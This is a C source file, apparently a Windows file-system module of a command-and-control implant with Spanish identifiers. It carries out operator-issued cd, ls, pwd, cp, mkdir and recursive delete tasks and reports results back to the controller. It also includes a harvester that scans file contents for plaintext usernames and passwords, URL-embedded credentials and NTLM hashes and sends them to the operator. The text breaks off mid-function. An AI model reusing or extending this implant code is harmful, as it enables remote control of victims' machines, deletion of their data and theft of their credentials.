#include "SistemadeFicheros.h"
#include "paquete.h"
#include "transporte.h"
#include "angerona.h"  // For context tracking functions

/* Forward decl to avoid implicit declaration on some toolchains */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);

/* Helper function to resolve relative paths to absolute paths */
/* Uses two static buffers to support resolving two paths simultaneously (e.g., cp source dest) */
static PCHAR resolveFilePath(PCHAR filePath, SIZE_T pathLen) {
    static char resolvedPath1[MAX_PATH * 2] = {0};
    static char resolvedPath2[MAX_PATH * 2] = {0};
    static BOOL useFirstBuffer = TRUE;
    
    // Select which buffer to use (alternate between calls)
    char* resolvedPath = useFirstBuffer ? resolvedPath1 : resolvedPath2;
    useFirstBuffer = !useFirstBuffer; // Toggle for next call
    
    if (!filePath || pathLen == 0) {
        return filePath;
    }
    
    // Check if path is already absolute
    // Absolute paths in Windows:
    // - Start with drive letter + colon (C:, D:, etc.)
    // - Start with \\ (UNC path)
    // - Start with \ (absolute from current drive root)
    
    BOOL isAbsolute = FALSE;
    
    if (pathLen >= 2) {
        // Check for drive letter (C:, D:, etc.)
        if (isalpha((unsigned char)filePath[0]) && filePath[1] == ':') {
            isAbsolute = TRUE;
        }
        // Check for UNC path (\\)
        else if (filePath[0] == '\\' && filePath[1] == '\\') {
            isAbsolute = TRUE;
        }
        // Check for absolute from root (\)
        else if (filePath[0] == '\\') {
            isAbsolute = TRUE;
        }
    }
    
    if (isAbsolute) {
        // Path is already absolute, return as-is
        return filePath;
    }
    
    // Path is relative, combine with current directory
    PCHAR currentDir = getCurrentDirectoryContext();
    
    // If current directory is empty, try to get it from system
    if (!currentDir || currentDir[0] == '\0') {
        static char systemCwd[MAX_PATH] = {0};
        if (GetCurrentDirectoryA(sizeof(systemCwd), systemCwd) > 0) {
            currentDir = systemCwd;
        } else {
            // If we can't get current directory, return original path
            return filePath;
        }
    }
    
    // Build resolved path: currentDir + \ + filePath
    SIZE_T cwdLen = strlen(currentDir);
    SIZE_T totalLen = cwdLen + 1 + pathLen; // +1 for backslash
    
    if (totalLen >= sizeof(resolvedPath1)) {
        // Path too long, return original
        _err("[resolveFilePath] Resolved path too long (%zu bytes), using original", totalLen);
        return filePath;
    }
    
    // Copy current directory
    memcpy(resolvedPath, currentDir, cwdLen);
    
    // Add backslash if current directory doesn't end with one
    if (cwdLen > 0 && currentDir[cwdLen - 1] != '\\' && currentDir[cwdLen - 1] != '/') {
        resolvedPath[cwdLen] = '\\';
        cwdLen++;
    }
    
    // Copy file path
    memcpy(resolvedPath + cwdLen, filePath, pathLen);
    resolvedPath[cwdLen + pathLen] = '\0';
    
    _dbg("[resolveFilePath] Resolved: \"%.*s\" -> \"%s\"", (int)pathLen, filePath, resolvedPath);
    
    return resolvedPath;
}

#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)

#include <string.h>
#include <ctype.h>

VOID CambiarDirectorio(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    _dbg("\t tenemos %d argumentos", nbArg);
    if (nbArg == 0) {
        return;
    }

    SIZE_T tamano = 0;
    PCHAR pathIntroducido = getString(argumentos, &tamano);

    _dbg("Usando el path %s", pathIntroducido);

    // Normalizar el path
    char pathNormalizado[2048];
    int j = 0;

    for (int i = 0; i < tamano; i++) {
        if (pathIntroducido[i] == '\\') {
            // Si encontramos una barra invertida, aseguramos que se copie dos veces
            pathNormalizado[j++] = '\\';
        }
        pathNormalizado[j++] = pathIntroducido[i];
    }

    // Asegurar que el path est� terminado en null
    pathNormalizado[j] = '\0';

    // Convertir el path a min�sculas para evitar problemas con may�sculas/min�sculas
    for (int i = 0; i < j; i++) {
        pathNormalizado[i] = tolower(pathNormalizado[i]);
    }

    // Intentar cambiar el directorio
    if (!SetCurrentDirectoryA(pathNormalizado)) {
        DWORD error = GetLastError();
        _err("no se puede cambiar a ese directorio %s : ERROR CODE %d", pathNormalizado, error);
        //PackageError(tareaUuid, error);
        goto end;
    }

    // Obtener el directorio actual
    char dir[2048];
    int length = GetCurrentDirectoryA(sizeof(dir), dir);

    // Update global context tracking
    if (length > 0) {
        setCurrentDirectoryContext(dir);
    }

    PPaquete salida = nuevoPaquete(0, FALSE);

    // success
    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaTarea, tareaUuid, FALSE);

    addString(salida, dir, FALSE);

    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add callback context with updated cwd
    if (length > 0) {
        addCallbackContext(respuestaTarea, "cwd", dir);
    }
    
    mandarPaquete(respuestaTarea);
    liberarPaquete(salida);
    liberarPaquete(respuestaTarea);

end:
    LocalFree(pathIntroducido);
}

VOID ListarDirectorio(PAnalizador argumentos){

#define MAX_FILENAME 0x4000
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    _dbg("\t tenemos %d argumentos", nbArg);
    if (nbArg == 0) {
        return;
    }

    UINT32 tamanoPath = 0;
    SIZE_T tamano = 0;
    char nombreFichero[MAX_FILENAME] = {0};
    PCHAR fichero = getString(argumentos, &tamano);

    if (!fichero || tamano == 0) {
        _err("Invalid path received");
        return;
    }

    // Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
    SIZE_T copyLen = (tamano < MAX_FILENAME - 1) ? tamano : MAX_FILENAME - 1;
    memcpy(nombreFichero, fichero, copyLen);
    nombreFichero[copyLen] = '\0';
    
    // Limpiar cualquier carácter no imprimible o inválido al final
    for (SIZE_T i = 0; i < copyLen; i++) {
        if (nombreFichero[i] == '\0' || nombreFichero[i] == '\r' || nombreFichero[i] == '\n') {
            nombreFichero[i] = '\0';
            break;
        }
    }

    _dbg("Filename: %s (length: %zu)", nombreFichero, strlen(nombreFichero));

    PPaquete salida = nuevoPaquete(0, FALSE);

#define SOURCE_DIRECTORY "\\*"

    if (!strncmp(nombreFichero, "." SOURCE_DIRECTORY, MAX_FILENAME)){
        GetCurrentDirectoryA(MAX_FILENAME, nombreFichero);
        strncat_s(nombreFichero, MAX_FILENAME, SOURCE_DIRECTORY, strlen(SOURCE_DIRECTORY));
    }else{

        tamanoPath = strlen(nombreFichero);
        if (nombreFichero[tamanoPath - 1] != 0x5c) {
            nombreFichero[tamanoPath++] = 0x5c;
        }
        nombreFichero[tamanoPath++] = 0x2a;
        nombreFichero[tamanoPath] = 0x00;
    }

    _dbg("[ls] %s", nombreFichero);

    PackageAddFormatPrintf(salida, FALSE, "%s\n", nombreFichero);
    WIN32_FIND_DATAA datosEncontrados;
    HANDLE primerFichero = FindFirstFileA(nombreFichero, &datosEncontrados);

    if (primerFichero == INVALID_HANDLE_VALUE){
        DWORD error = GetLastError();
        _err("Could not open %s : ERROR CODE %d", nombreFichero, error);
        //PackageError(tareaUuid, error);
        goto end;
    }

    SYSTEMTIME systemTime, localTime;
    DWORD fileCount = 0;
    do{
        // Skip . and .. entries
        if (strcmp(datosEncontrados.cFileName, ".") == 0 || strcmp(datosEncontrados.cFileName, "..") == 0) {
            continue;
        }

        FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
        SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);

        if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
            PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
                localTime.wMonth, localTime.wDay, localTime.wYear,
                localTime.wHour, localTime.wMinute, localTime.wSecond,
                datosEncontrados.cFileName);
            fileCount++;
        }else{
            PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
                ((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
                localTime.wMonth, localTime.wDay, localTime.wYear,
                localTime.wHour, localTime.wMinute, localTime.wSecond,
                datosEncontrados.cFileName);
            fileCount++;
        }
    } while (FindNextFileA(primerFichero, &datosEncontrados));
    
    _dbg("[ls] Total files/directories listed: %lu", fileCount);

    FindClose(primerFichero);


    // success
    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaTarea, tareaUuid, FALSE);
    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
    mandarPaquete(respuestaTarea);

end:
    // Cleanup
    LocalFree(fichero);
    liberarPaquete(salida);
}

BOOL ObtenerPath(PAnalizador argumentos) {

    SIZE_T tamanoUuid = 36;
    UINT32 nbArg = getInt32(argumentos);
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);

    char dir[2048];
    int length = GetCurrentDirectoryA(sizeof(dir), dir);

    PPaquete salida = nuevoPaquete(0, FALSE);

    if (length == 0) {
        DWORD error = GetLastError();

        _err("[pwd] Error obteniendo directorio actual. C�digo: %lu\n", error);

        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);

        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[pwd] Error: %lu\n", error);

        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);

        _err("[pwd] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
        _err("[pwd] Contenido error: %s\n", salidaError->buffer);

        mandarPaquete(respuestaError);

        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return FALSE;
    }

    _dbg("[pwd] Directorio actual: %s\n", dir);

    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);

    addString(respuestaTarea, tareaUuid, FALSE);
    addString(salida, dir, FALSE);

    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);

    mandarPaquete(respuestaTarea);
    liberarPaquete(salida);
    liberarPaquete(respuestaTarea);

    return TRUE;
}

VOID CopiarFichero(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    _dbg("\t tenemos %d argumentos", nbArg);
    if (nbArg == 0) {
        return;
    }

    SIZE_T tamano = 0;
    SIZE_T tamano2 = 0;
    PCHAR ficheroExistente = getString(argumentos, &tamano);
    PCHAR nuevoFichero = getString(argumentos, &tamano2);

    _dbg("[cp] Original source: \"%.*s\" (len=%zu)", (int)tamano, ficheroExistente, tamano);
    _dbg("[cp] Original dest: \"%.*s\" (len=%zu)", (int)tamano2, nuevoFichero, tamano2);
    
    // Resolve relative paths to absolute paths
    PCHAR resolvedSource = resolveFilePath(ficheroExistente, tamano);
    PCHAR resolvedDest = resolveFilePath(nuevoFichero, tamano2);
    
    _dbg("[cp] Resolved source: \"%s\"", resolvedSource);
    _dbg("[cp] Resolved dest: \"%s\"", resolvedDest);

    // Copy the file
    if (!CopyFileA(resolvedSource, resolvedDest, FALSE)){

        DWORD error = GetLastError();

        _err("[cp] No se ha podido copiar. C�digo: %lu\n", error);

        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);

        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[cp] Error: %lu\n", error);

        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);

        _err("[cp] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
        _err("[cp] Contenido error: %s\n", salidaError->buffer);

        mandarPaquete(respuestaError);

        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }

    PPaquete salida = nuevoPaquete(0, FALSE);


    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
    
    char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
    snprintf(frase2, sizeof(frase2), "[cp] Fichero copiado correctamente a: %s", resolvedDest);
    addString(salida, frase2, FALSE);

    addString(respuestaTarea, tareaUuid, FALSE);
    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add File Write artifact for the destination file
    addArtifact(respuestaTarea, "File Write", resolvedDest);

    mandarPaquete(respuestaTarea);
    liberarPaquete(salida);
    liberarPaquete(respuestaTarea);

end:
    // Cleanup
    LocalFree(nuevoFichero);
    LocalFree(ficheroExistente);
}

VOID CrearRuta(PAnalizador argumentos){

    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    SIZE_T tamano = 0;
    PCHAR directorio = getString(argumentos, &tamano);

    _dbg("Creating directory: \"%s\"", directorio);

    if (!CreateDirectoryA(directorio, NULL)){
        DWORD error = GetLastError();

        _err("[mkdir] No se ha podido crear el directorio. C�digo: %lu\n", error);

        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);

        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[mkdir] Error: %lu\n", error);

        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);

        _err("[mkdir] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
        _err("[mkdir] Contenido error: %s\n", salidaError->buffer);

        mandarPaquete(respuestaError);

        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);

        goto end;
    }

    PPaquete salida = nuevoPaquete(0, FALSE);


    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);

    char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
    snprintf(frase2, sizeof(frase2), "[mkdir] Directorio creado con exito: %s", directorio);
    addString(salida, frase2, FALSE);

    addString(respuestaTarea, tareaUuid, FALSE);
    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add File Write artifact for the created directory
    addArtifact(respuestaTarea, "File Write", directorio);

    mandarPaquete(respuestaTarea);
    liberarPaquete(salida);
    liberarPaquete(respuestaTarea);

end:
    // Cleanup
    LocalFree(directorio);
}

BOOL EsDirectorio(char* nombre){

    return GetFileAttributesA(nombre) & FILE_ATTRIBUTE_DIRECTORY;
}

VOID EliminaCallbacksRecursivos(const char* a1, const char* a2, BOOL esDirectorio){

    char* lpNombreRuta = (char*)malloc(0x4000);
    _snprintf(lpNombreRuta, 0x4000, "%s\\%s", a1, a2);
    if (esDirectorio)
        RemoveDirectoryA(lpNombreRuta);
    else
        DeleteFileA(lpNombreRuta);
    free(lpNombreRuta);
}

VOID BuscaYProcesa(char* nombre, WIN32_FIND_DATAA* busqueda){

#define MAX_FILENAME 0x8000
    char* lpNombreFichero;

    lpNombreFichero = malloc(MAX_FILENAME);
    snprintf(lpNombreFichero, MAX_FILENAME, "%s\\*", nombre);
    LPWIN32_FIND_DATAA lpCurrentFindFileData = busqueda;
    HANDLE hFindFile = FindFirstFileA(lpNombreFichero, lpCurrentFindFileData);
    free(lpNombreFichero);

    if (hFindFile == INVALID_HANDLE_VALUE) {
        return;
    }

    do{
        if (lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, ".."))
            {
                char* lpFileNameInternal = malloc(MAX_FILENAME);
                snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName);

                lpNombreFichero = malloc(MAX_FILENAME);
                snprintf(lpNombreFichero, MAX_FILENAME, "%s\\%s", nombre, busqueda->cFileName);
                BuscaYProcesa(lpNombreFichero, busqueda);
                free(lpNombreFichero);

                EliminaCallbacksRecursivos(nombre, lpFileNameInternal, TRUE);
                free(lpFileNameInternal);
            }

            lpCurrentFindFileData = busqueda;
        }
        else
        {
            EliminaCallbacksRecursivos(nombre, lpCurrentFindFileData->cFileName, FALSE);
        }
    } while (FindNextFileA(hFindFile, lpCurrentFindFileData));
    FindClose(hFindFile);
}

VOID BorrarDirectoriosHijos(char* rutaFichero){
    WIN32_FIND_DATAA busqueda;

    BuscaYProcesa(
        rutaFichero,
        &busqueda);
}

VOID EliminarRuta(PAnalizador argumentos){
#define MAX_PATH_RM 0x4000
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    SIZE_T tamano = 0;
    PCHAR rutaRaw = getString(argumentos, &tamano);

    if (nbArg == 0)
        return;

    if (!rutaRaw || tamano == 0) {
        _err("[rm] Invalid path received");
        goto end;
    }

    // Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
    char ruta[MAX_PATH_RM] = {0};
    SIZE_T copyLen = (tamano < MAX_PATH_RM - 1) ? tamano : MAX_PATH_RM - 1;
    memcpy(ruta, rutaRaw, copyLen);
    ruta[copyLen] = '\0';
    
    // Limpiar cualquier carácter no imprimible o inválido al final
    for (SIZE_T i = 0; i < copyLen; i++) {
        if (ruta[i] == '\0' || ruta[i] == '\r' || ruta[i] == '\n') {
            ruta[i] = '\0';
            break;
        }
    }

    _dbg("[rm] Deleting path: %s (length: %zu)", ruta, strlen(ruta));

    if (EsDirectorio(ruta)){
        _dbg("[rm] Path is a directory, deleting recursively");
        BorrarDirectoriosHijos(ruta);
        RemoveDirectoryA(ruta);
    
    }else{
        _dbg("[rm] Path is a file, deleting");
        DeleteFileA(ruta);
    }

    PPaquete salida = nuevoPaquete(0, FALSE);


    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);

    char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
    snprintf(frase2, sizeof(frase2), "[rm] Borrados los ficheros o directorios incluidos sus hijos: %s", ruta);
    addString(salida, frase2, FALSE);

    addString(respuestaTarea, tareaUuid, FALSE);
    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add File Delete artifact for the deleted file/directory
    addArtifact(respuestaTarea, "File Delete", ruta);

    mandarPaquete(respuestaTarea);
    liberarPaquete(salida);
    liberarPaquete(respuestaTarea);

end:;
    // Cleanup
    LocalFree(rutaRaw);
}

// Helper function to detect credentials in file content (internal use only)
// Returns TRUE if credentials were found and added
static BOOL detectarCredencialesEnContenido(PPaquete respuestaTarea, PCHAR contenido, SIZE_T tamanoContenido) {
    if (!contenido || tamanoContenido == 0) {
        return FALSE;
    }
    
    BOOL credencialesEncontradas = FALSE;
    char buffer[4096] = {0};
    
    // Convertir contenido a string null-terminated para análisis
    PCHAR contenidoStr = (PCHAR)LocalAlloc(LPTR, tamanoContenido + 1);
    if (!contenidoStr) {
        return FALSE;
    }
    memcpy(contenidoStr, contenido, tamanoContenido);
    contenidoStr[tamanoContenido] = '\0';
    
    // Buscar patrones comunes de credenciales línea por línea
    PCHAR lineaActual = contenidoStr;
    PCHAR siguienteLinea = NULL;
    
    while (lineaActual < contenidoStr + tamanoContenido) {
        // Encontrar fin de línea
        siguienteLinea = lineaActual;
        while (*siguienteLinea != '\n' && *siguienteLinea != '\r' && *siguienteLinea != '\0') {
            siguienteLinea++;
        }
        
        SIZE_T lineaLen = siguienteLinea - lineaActual;
        if (lineaLen > sizeof(buffer) - 1) {
            lineaLen = sizeof(buffer) - 1;
        }
        
        memcpy(buffer, lineaActual, lineaLen);
        buffer[lineaLen] = '\0';
        
        // Convertir a minúsculas para búsqueda case-insensitive
        char lineaLower[4096] = {0};
        for (SIZE_T i = 0; i < lineaLen && i < sizeof(lineaLower) - 1; i++) {
            lineaLower[i] = tolower(buffer[i]);
        }
        
        // Patrón 0: username:password (formato simple y muy común)
        // Soporta múltiples formatos:
        // - username:password
        // - dominio\usuario:password
        // - usuario@dominio:password
        PCHAR colonPtr = (PCHAR)memchr(buffer, ':', lineaLen);
        if (colonPtr && colonPtr > buffer && colonPtr < buffer + lineaLen - 1) {
            // Verificar que el formato parece username:password
            // No debe haber espacios antes del :
            BOOL isValidFormat = TRUE;
            PCHAR checkSpace = buffer;
            while (checkSpace < colonPtr) {
                if (*checkSpace == ' ' || *checkSpace == '\t') {
                    isValidFormat = FALSE;
                    break;
                }
                checkSpace++;
            }
            
            // Verificar que después del : hay al menos un carácter no-espacio
            PCHAR afterColon = colonPtr + 1;
            if (*afterColon == ' ' || *afterColon == '\t' || *afterColon == '\0') {
                isValidFormat = FALSE;
            }
            
            if (isValidFormat) {
                // Extraer password (después del :)
                SIZE_T passLen = 0;
                PCHAR passStart = afterColon;
                while (passStart < buffer + lineaLen && 
                       *passStart != ' ' && *passStart != '\t' && 
                       *passStart != '\r' && *passStart != '\n' && 
                       *passStart != '\0') {
                    passLen++;
                    passStart++;
                }
                
                // Verificar que no es solo un hash (32 hex chars) - eso lo detectamos más abajo
                BOOL isLikelyHash = FALSE;
                if (passLen == 32) {
                    isLikelyHash = TRUE;
                    for (SIZE_T i = 0; i < 32 && afterColon + i < buffer + lineaLen; i++) {
                        if (!isxdigit(afterColon[i])) {
                            isLikelyHash = FALSE;
                            break;
                        }
                    }
                }
                
                if (passLen > 0 && passLen < 512 && !isLikelyHash) {
                    char password[512] = {0};
                    memcpy(password, afterColon, passLen);
                    password[passLen] = '\0';
                    
                    // Extraer username y realm según el formato
                    SIZE_T userLen = colonPtr - buffer;
                    if (userLen > 0 && userLen < 256) {
                        char username[256] = {0};
                        char realm[256] = {0};
                        BOOL hasRealm = FALSE;
                        
                        // Buscar formato dominio\usuario
                        // Buscar backslash en el buffer original (no en lineaLower)
                        PCHAR backslashPtr = NULL;
                        for (SIZE_T i = 0; i < userLen; i++) {
                            if (buffer[i] == '\\') {
                                backslashPtr = buffer + i;
                                break;
                            }
                        }
                        
                        if (backslashPtr && backslashPtr > buffer && backslashPtr < colonPtr) {
                            // Formato: dominio\usuario
                            SIZE_T domainLen = backslashPtr - buffer;
                            SIZE_T actualUserLen = colonPtr - backslashPtr - 1;
                            
                            if (domainLen > 0 && domainLen < 255 && actualUserLen > 0 && actualUserLen < 255) {
                                // Copiar dominio al realm
                                memcpy(realm, buffer, domainLen);
                                realm[domainLen] = '\0';
                                // Copiar usuario al username (saltar el backslash)
                                memcpy(username, backslashPtr + 1, actualUserLen);
                                username[actualUserLen] = '\0';
                                hasRealm = TRUE;
                                _dbg("[cat] Formato dominio\\usuario detectado: domainLen=%zu, actualUserLen=%zu, realm='%s', username='%s'", 
                                     domainLen, actualUserLen, realm, username);
                            } else {
                                _dbg("[cat] Formato dominio\\usuario inválido: domainLen=%zu, actualUserLen=%zu", 
                                     domainLen, actualUserLen);
                            }
                        } else {
                            // Buscar formato usuario@dominio
                            // Buscar @ en el buffer original
                            PCHAR atPtr = NULL;
                            for (SIZE_T i = 0; i < userLen; i++) {
                                if (buffer[i] == '@') {
                                    atPtr = buffer + i;
                                    break;
                                }
                            }
                            
                            if (atPtr && atPtr > buffer && atPtr < colonPtr) {
                                // Formato: usuario@dominio
                                SIZE_T actualUserLen = atPtr - buffer;
                                SIZE_T domainLen = colonPtr - atPtr - 1;
                                
                                if (actualUserLen > 0 && actualUserLen < 255 && domainLen > 0 && domainLen < 255) {
                                    // Copiar usuario al username
                                    memcpy(username, buffer, actualUserLen);
                                    username[actualUserLen] = '\0';
                                    // Copiar dominio al realm (saltar el @)
                                    memcpy(realm, atPtr + 1, domainLen);
                                    realm[domainLen] = '\0';
                                    hasRealm = TRUE;
                                    _dbg("[cat] Formato usuario@dominio detectado: actualUserLen=%zu, domainLen=%zu, username='%s', realm='%s'", 
                                         actualUserLen, domainLen, username, realm);
                                } else {
                                    _dbg("[cat] Formato usuario@dominio inválido: actualUserLen=%zu, domainLen=%zu", 
                                         actualUserLen, domainLen);
                                }
                            } else {
                                // Formato simple: username:password
                                memcpy(username, buffer, userLen);
                                username[userLen] = '\0';
                                // realm queda vacío
                                hasRealm = FALSE;
                                _dbg("[cat] Formato simple detectado: username='%s'", username);
                            }
                        }
                        
                        // Limpiar espacios finales del username y realm
                        SIZE_T tempLen = strlen(username);
                        while (tempLen > 0 && (username[tempLen-1] == ' ' || username[tempLen-1] == '\t')) {
                            username[--tempLen] = '\0';
                        }
                        if (hasRealm) {
                            tempLen = strlen(realm);
                            while (tempLen > 0 && (realm[tempLen-1] == ' ' || realm[tempLen-1] == '\t')) {
                                realm[--tempLen] = '\0';
                            }
                        }
                        
                        // Verificar que los valores extraídos son válidos antes de reportar
                        if (username[0] != '\0' && password[0] != '\0') {
                            // Verificar que realm tiene contenido válido si hasRealm es TRUE
                            PCHAR realmToUse = "";
                            if (hasRealm) {
                                SIZE_T realmLen = strlen(realm);
                                if (realmLen > 0) {
                                    realmToUse = realm;
                                }
                            }
                            // Si hasRealm es FALSE o realm está vacío, realmToUse queda como ""
                            
                            _dbg("[cat] Agregando credential: username='%s', realm='%s' (hasRealm=%d, realmLen=%zu), password='%.20s'", 
                                 username, realmToUse[0] != '\0' ? realmToUse : "(empty)", 
                                 hasRealm ? 1 : 0, hasRealm ? strlen(realm) : 0, password);
                            
                            addCredential(respuestaTarea, "plaintext", realmToUse, password, username);
                            credencialesEncontradas = TRUE;
                            // Continuar al siguiente patrón - esta línea ya fue procesada
                            if (*siguienteLinea == '\r') siguienteLinea++;
                            if (*siguienteLinea == '\n') siguienteLinea++;
                            lineaActual = siguienteLinea;
                            if (*siguienteLinea == '\0') break;
                            continue; // Saltar otros patrones para esta línea ya procesada
                        }
                    }
                }
            }
        }
        
        // Patrón 1: password=value o password:value
        PCHAR passPtr = strstr(lineaLower, "password");
        if (passPtr) {
            // Buscar el delimitador (= o :)
            PCHAR delimitador = strchr(passPtr, '=');
            if (!delimitador) delimitador = strchr(passPtr, ':');
            
            if (delimitador) {
                delimitador++; // Saltar el delimitador
                // Buscar el valor (saltar espacios)
                while (*delimitador == ' ' || *delimitador == '\t') delimitador++;
                
                // Buscar username en la misma línea o anterior
                PCHAR userPtr = strstr(lineaLower, "user");
                char username[256] = {0};
                if (userPtr) {
                    PCHAR userDelim = strchr(userPtr, '=');
                    if (!userDelim) userDelim = strchr(userPtr, ':');
                    if (userDelim) {
                        userDelim++;
                        while (*userDelim == ' ' || *userDelim == '\t') userDelim++;
                        SIZE_T userLen = 0;
                        while (*userDelim != ' ' && *userDelim != '\t' && *userDelim != '\r' && 
                               *userDelim != '\n' && *userDelim != '\0' && userLen < sizeof(username) - 1) {
                            username[userLen++] = buffer[userDelim - lineaLower];
                            userDelim++;
                        }
                        username[userLen] = '\0';
                    }
                }
                
                // Extraer password value
                SIZE_T passLen = 0;
                char password[512] = {0};
                PCHAR passStart = buffer + (delimitador - lineaLower);
                while (*passStart != ' ' && *passStart != '\t' && *passStart != '\r' && 
                       *passStart != '\n' && *passStart != '\0' && passLen < sizeof(password) - 1) {
                    password[passLen++] = *passStart;
                    passStart++;
                }
                password[passLen] = '\0';
                
                if (passLen > 0) {
                    addCredential(respuestaTarea, "plaintext", "", 
                                 password, 
                                 username[0] != '\0' ? username : "unknown");
                    credencialesEncontradas = TRUE;
                }
            }
        }
        
        // Patrón 2: http://user:pass@host
        PCHAR httpPtr = strstr(lineaLower, "http://");
        if (!httpPtr) httpPtr = strstr(lineaLower, "https://");
        if (httpPtr) {
            PCHAR atPtr = strchr(httpPtr, '@');
            if (atPtr) {
                // Buscar : antes del @
                PCHAR colonPtr = httpPtr;
                while (colonPtr < atPtr && *colonPtr != ':') colonPtr++;
                if (colonPtr < atPtr && *colonPtr == ':') {
                    PCHAR protocolEnd = httpPtr;
                    while (*protocolEnd != '/' && *protocolEnd != '\0') protocolEnd++;
                    if (*protocolEnd == '/' && protocolEnd[1] == '/') {
                        protocolEnd += 2; // Saltar "//"
                        SIZE_T userLen = colonPtr - protocolEnd;
                        SIZE_T passLen = atPtr - colonPtr - 1;
                        
                        if (userLen > 0 && userLen < 256 && passLen > 0 && passLen < 512) {
                            char username[256] = {0};
                            char password[512] = {0};
                            memcpy(username, buffer + (protocolEnd - lineaLower), userLen);
                            username[userLen] = '\0';
                            memcpy(password, buffer + (colonPtr - lineaLower + 1), passLen);
                            password[passLen] = '\0';
                            
                            addCredential(respuestaTarea, "plaintext", "", password, username);
                            credencialesEncontradas = TRUE;
                        }
                    }
                }
            }
        }
        
        // Patrón 3: Hash NTLM (formato aad3b435b51404ee:hash)
        PCHAR hashPtr = strstr(buffer, "aad3b435b51404ee");
        if (!hashPtr) {
            // Buscar formato :hash (32 bytes hex después de :)
            for (PCHAR p = buffer; p < buffer + lineaLen - 32; p++) {
                if (*p == ':' && isxdigit(p[1])) {
                    // Verificar si los siguientes 32 caracteres son hex
                    BOOL isValidHash = TRUE;
                    for (int i = 1; i <= 32 && p + i < buffer + lineaLen; i++) {
                        if (!isxdigit(p[i])) {
                            isValidHash = FALSE;
                            break;
                        }
                    }
                    if (isValidHash && p + 33 <= buffer + lineaLen) {
                        char hash[65] = {0};
                        memcpy(hash, p + 1, 32);
                        hash[32] = '\0';
                        
                        // Buscar username antes del hash
                        char username[256] = {0};
                        PCHAR userStart = buffer;
                        while (userStart < p && (*userStart == ' ' || *userStart == '\t')) userStart++;
                        SIZE_T userLen = p - userStart;
                        if (userLen > 0 && userLen < sizeof(username)) {
                            memcpy(username, userStart, userLen);
                            username[userLen] = '\0';
                            // Limpiar espacios finales
                            while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
                                username[--userLen] = '\0';
                            }
                        }
                        
                        addCredential(respuestaTarea, "hash", "", hash, 
                                     username[0] != '\0' ? username : "unknown");
                        credencialesEncontradas = TRUE;
                        break;
                    }
                }
            }
        } else {
            // Formato aad3b435b51404ee:hash
            PCHAR colonAfterPrefix = hashPtr + 16; // 16 = strlen("aad3b435b51404ee")
